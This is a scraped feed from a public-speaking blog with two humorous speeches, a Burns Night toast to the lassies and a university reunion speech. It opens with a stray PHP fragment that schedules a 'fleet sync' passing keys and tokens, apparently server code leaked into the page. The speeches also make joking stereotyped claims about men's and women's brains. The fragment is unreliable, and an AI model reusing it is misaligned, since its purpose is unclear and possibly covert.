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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Humorous speech Archives - Now you're talking https://www.nowyouretalking.co.uk/tag/humorous-speech/ Public speaking Fri, 24 Jan 2020 12:34:15 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 Burns night – Toast to the Lassies https://www.nowyouretalking.co.uk/2020/01/24/burns-night-toast-to-the-lassies/ Fri, 24 Jan 2020 12:11:00 +0000 https://www.nowyouretalking.co.uk/?p=971 “The sweetest hours that e’er I spend Are spent amang the lasses, O” And who can blame him! We all know that Rabbie Burns loved the lassies, but he also respected and valued us. He knew that the focus on…

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]]> “The sweetest hours that e’er I spend
Are spent amang the lasses, O”

And who can blame him!

We all know that Rabbie Burns loved the lassies, but he also respected and valued us. He knew that the focus on the Rights of Man was wrong and said:

“The Rights of Woman merit some attention.”

Last time we were together to celebrate the great Rabbie Burns, I think we established very clearly the superiority of the lassies …

  • Girls get better exam results at school than you boys
  • We make better managers
  • Better at science
  • Better investors
  • Better drivers!

I can feel Burns rejoicing in the achievements of the lassies. We’ve just been celebrating 100 years of some women getting the vote. Without a vote, women were grouped with children and the insane, women were non-people, the property of their husbands. Imagine!

In 1918:

  • There were no women in the police
  • There were no women MPs
  • And women certainly didn’t get the top job as PM
  • Oxford and Cambridge didn’t allow women to take degrees and up until 1948 Cambridge awarded women a degree in title only. BA TIT! Thanks boys!
  • There were fewer than 500 female doctors in England and Wales
  • That left male doctors free to do what they liked. And they did! For instance, they invented Anorexia Scholastica – only affected women; debilitating thinness resulting from too much mental stimulus. If only that were true, I for one would have read so much more!!! They suggested that maths was a particular problem, diverting energy from the reproductive system. And if you were careless enough to get pregnant, you could be fired
  • Women could even be refused service for trying to spend their own money in a pub.

100 years later, all that’s changing. in 2018:

  • Cressida Dick has the top job in the Metropolitan Police
  • 208 women MPs in Westminster
  • Love them or hate them, we now have our 2nd female PM and Nicola Sturgeon is First Minister in Scotland
  • 57% of graduates are women
  • Nearly half of registered doctors (in England and Wales) are women
  • And Anorexia Scholastica has been completely cured!

We’ve come a long way. But there’s still work to do, not least, closing the wretched gender pay gap.

Meanwhile, the laddies aren’t feeling so good:

  • 1 in 3 men in the UK think masculinity is in crisis and no one knows what to do about it
  • Everything used to be so clear. Be the breadwinner, be the boss, look after your family and be heterosexual. Now, men are expected to be kind, fair and emotionally intelligent. What does that mean?!
  • In the confusion, boys are doing worse than girls at school (56% of boys achieved GCSEs grade C and above, compared with 66% of girls). And boys are a third less likely to go to university
  • Men in their 20s could find themselves earning the same or less than women in their 20s as the gender pay gap closes among the 20-somethings
  • 87% of rough sleepers are men
  • Men are experiencing a mental health epidemic, accounting for 3 in 4 suicides
  • Men are much more likely to be sent to prison
  • In essence, men are now cast as villains and to blame for all that’s wrong in the world, scared of being ‘wrongly’ accused of inappropriate behaviour. And their fear may well be justified given Gillette’s latest ad. A laudable aim to bring a more contemporary vision of masculinity and reinvigorate the 30-year old tagline ‘the best a man can get’. But what we got, was a message that most men are on the wrong track, not good enough, must do better and change!

We don’t really believe that, do we girls?

Has it all gone too far? Should we consider the unthinkable, join forces and work together.

Rabbie urges us to try and empathise a bit:

“O wad some Pow’r the giftie gie us
To see oursels as ithers see us!
It wad frae mony a blunder free us,”

And when we empathise, we can see that we’re wired differently and there’s nothing wrong with that. We can complement each other. For instance:

  • Women remember everything – larger hippocampus – that’s the bit where we store memories. So we remember every single word of every single argument!
  • Women feel, while men take a more fact-based approach. We need both. Real facts are very important, even if it is emotions that swing decisions
  • Men are better at negotiating salaries and pay rises and who’d say no to a bit more money?
  • We problem-solve differently – girls like to talk things through and then act; men prefer to dive right in and fine tune as they go along.

We’re different and we can complement each other. We are stronger together.

Obviously, to make this work, there will have to be some clear red lines:

  • Women have the last word in any argument. Anything a man says after that is the beginning of a new argument
  • You need to understand the vocab:

When a woman says “Yes Dear. Fine.” It’s far from fine.

“Go ahead” means “Don’t you dare!”

“Oh you think so” means “think again.”

Men on the other hand have their very own nuanced speak that we girls also need to respect:

  • “Can we talk about this later?” … means “I never want to talk about it again!”
  • “If you don’t do it the way I’m telling you, you’ll regret it” means “I know best!”
  • And then there’s that stunning sense of direction, we know and love. “I know exactly where I am; the GPS isn’t working properly!” means “We’re lost!”

We need to be much more open and supportive of each other. But don’t forget, boys, the huge hippocampus – we girls remember everything!

Let’s move forward together. Ladies and Gentlemen, the toast:

Lift your cup and drain it well,
For these are truths that I do tell.
Without all sexes, teams are lacking,
Girls and boys must get our backing,
Other genders we must heed
Without them, how can we proceed
To make a world that’s right and fair?
Let’s drink to all and their constant care.

Lyn Roseaman

Toast to the Lassies

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]]> Student days are the best days of your life … a reunion speech https://www.nowyouretalking.co.uk/2018/07/03/student-days-are-the-best-days-of-your-life-a-reunion-speech/ Tue, 03 Jul 2018 19:54:01 +0000 https://www.nowyouretalking.co.uk/?p=556 I have just had the real pleasure of delivering the speech at our university reunion dinner. Thanks to everyone there, we had such fun. Click here to hear the speech or read on …  1980 was a vintage year, wasn’t…

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]]> I have just had the real pleasure of delivering the speech at our university reunion dinner. Thanks to everyone there, we had such fun.

Click here to hear the speech or read on … Reunion speech

1980 was a vintage year, wasn’t it?

It gave us …

The very first episode of Yes Minister.

The 2,000th episode of Coronation Street.

We even came third in Eurovision!  Imagine!

And, bizarrely not making the news headlines was Friday 3 October 1980, our first day together at Ross Hall.

The ’80s were a different world, weren’t they?  A world before smartphones and tablets.  A world before bank accounts in credit.  A world before responsibility.

I grant you, on that first day, Prof Beavis did his best to inject a note of responsibility.  “Look to your left.  Look to your right.  And in three years’ time, one of you won’t be here!”

And maybe it worked … For a while.  But it didn’t last!

We were risk takers, some might say chancers!

Why would you play it safe going to lectures when there was a big wide world out there to discover?  Some have the enviable record of only attending one lecture in a whole term … Kath Morton.  Makes my attendance at seven accountancy and finance lectures in a year look positively studious.  But the prize surely goes to Bill Pringle, aka Pringy-Poohs!  Following an impressive run of absenteeism, he came face to face with David Gee who uttered the immortal words … “And can I ask, who are you?”

As risk takers, we did our best to poison ourselves – fried egg sandwiches, mutton pies, pints of heavy – I still can’t pronounce that word! – snakebite, sherry, Litre Vin, magic mushrooms … from the field next to Ross Hall.  Killer kebabs, curries, fish suppers and all those after-hours’ burger binges at the Ad Lib.  Then, of course, there was the inevitable stop at Gregg’s, between Crookston and main campus for sausage rolls and apple turnovers.  They’ve gone up in price a bit.  Did anyone buy shares?

There’s that unforgettable experiment to turn a mini into a people carrier.  How many people can you get into a mini and still drive it?  How many? [shout out].  Hands up if you were there … 11 of you.  We know who you are!

We were resourceful

Graeme’s early addiction to space invaders apparently paid for most Ross Hall party booze.

We ate inspirational signature dishes such as mango chutney toasties to save money for the really important essentials … like beer

Lawton used his hot-off-the-production-line Mini Metro to make his fortune by charging people the princely sum of 10p petrol money to ferry them to lectures.

We could spot future trends

Like cross-dressing.  I don’t think they were alone, but Graeme with Chris Wilson dolled up as a girl, won them best-dressed couple at a Vicars and Tarts.  Thanks go to Claire Dobie for wardrobe, hair and make-up.

We even learnt a thing or two, although perhaps not always what was intended!

  • Wine tasting, of course.
  • Without Derrick Kennedy and John McKee, Elise reckons her clam chowder would always be out of a tin, or a can as they liked to call it.
  • John Heeley, determined to teach us to have our own thoughts and opinions, gave us interesting essays to write, such as Why can public executions in England and France be considered a leisure activity? And the crucial learning, to keep a steady hand and never spill a drop of beer.  John very sadly died last year.
  • Kit Jenkins taught us listening skills as he delivered most of his lectures in little more than a whisper
  • Alistair Goldsmith taught us not to put up with any nonsense from guests, however much they’re paying! This led to Elise ‘accidentally’ tipping a heavy serving dish full of hot potatoes into the lap of a man who had his hand … up her skirt!
  • All that silver service didn’t always go according to plan. Shereen at an Epicureans’ dinner, serving extra-hard sorbet out of a pineapple managed to send it travelling down a guest’s immaculate black dinner suit. Fortunately, he had a good sense of humour
  • Ian got short shrift from the Prof for picking up a bread roll in his bare hand and plonking it on the Prof’s side plate … untouched by spoon or fork!
  • Flambéed spaghetti. Steak Diane.  Peeling bananas with a knife and fork and then setting fire to them.  All that brandy going up in flames. What a waste!

Vienna was our song.  If you haven’t seen the Elise and David M rendition, where were you?!  So stunning, it cleared dance floors.  Perhaps they can give us a re-run later?

I don’t dance, but even I was known to dance to Vienna –– after 10 pints, speaking fluent dolphin and barely able to stand.  I was shocked to learn that Pringy-Poohs doesn’t think we’d have got very far in Strictly!

Vienna even summed up lectures for some.  This means nothing to me eeeeconomics.  You’ll be pleased to hear, I also need 10 pints to sing!

We’ve come a long way since those graduation-year ambitions to live life to the full, buy a hotel, burst out of a 36C bra or be home when ET phones.

We’ve met friends here.  Sadly, we’ve also seen some pass away.  Some of you even met your partners here.

While many, if not all of us, are no longer working in hotels, if we ever were, most of us seem to have been in some area of leisure or tourism.  And the really lucky have retired.

So what does the future hold?  We know what NOT to do:

  • Don’t get drunk on sherry – too painful; or whiskey – memory failure
  • Don’t waste your student days, they are the best years of your life. Make every day great.
  • Don’t be afraid. We are strong.  We’ve survived heart attacks, cancer, knee replacements, floating across the Atlantic in a life-threatening storm, driving through a war zone in an effort to win the Commonwealth Games for Glasgow.  We can survive anything, even excruciatingly embarrassing performances at international evenings.

And we know what we have to do to move forward:

  • As Kath says, Do some bloody work! But remember work-life balance
  • Do the things you love – golf, breed puppies, retire as soon as possible and become the oldest chalet girl in town
  • Dive right in or as Lawton says when evacuating an aircraft “Stay on your feet and keep moving”
  • Take care of your hair
  • Dance down Hope Street or any street singing Oh what a perfect day, Oh flower of Scotland or anything else that feels good!

If I’ve learnt anything over the years, it’s that it’s better to give than to receive, so as I’ve laid off the wine most of the evening to give this speech, please feel free to buy me a drink later!

Remember your family and friends.  They are precious.

We don’t know what’s to come compared to what has been, but, in the words of Abraham Lincoln “it’s not the years in your life that count; it’s the life in your years”.  We’ve got away with it so far.  Here’s to the next 38 years!

Raise your glasses, please …. To Strathclyde, the Sottish Hotel School and, of course, Graeme for organising this fabulous evening.

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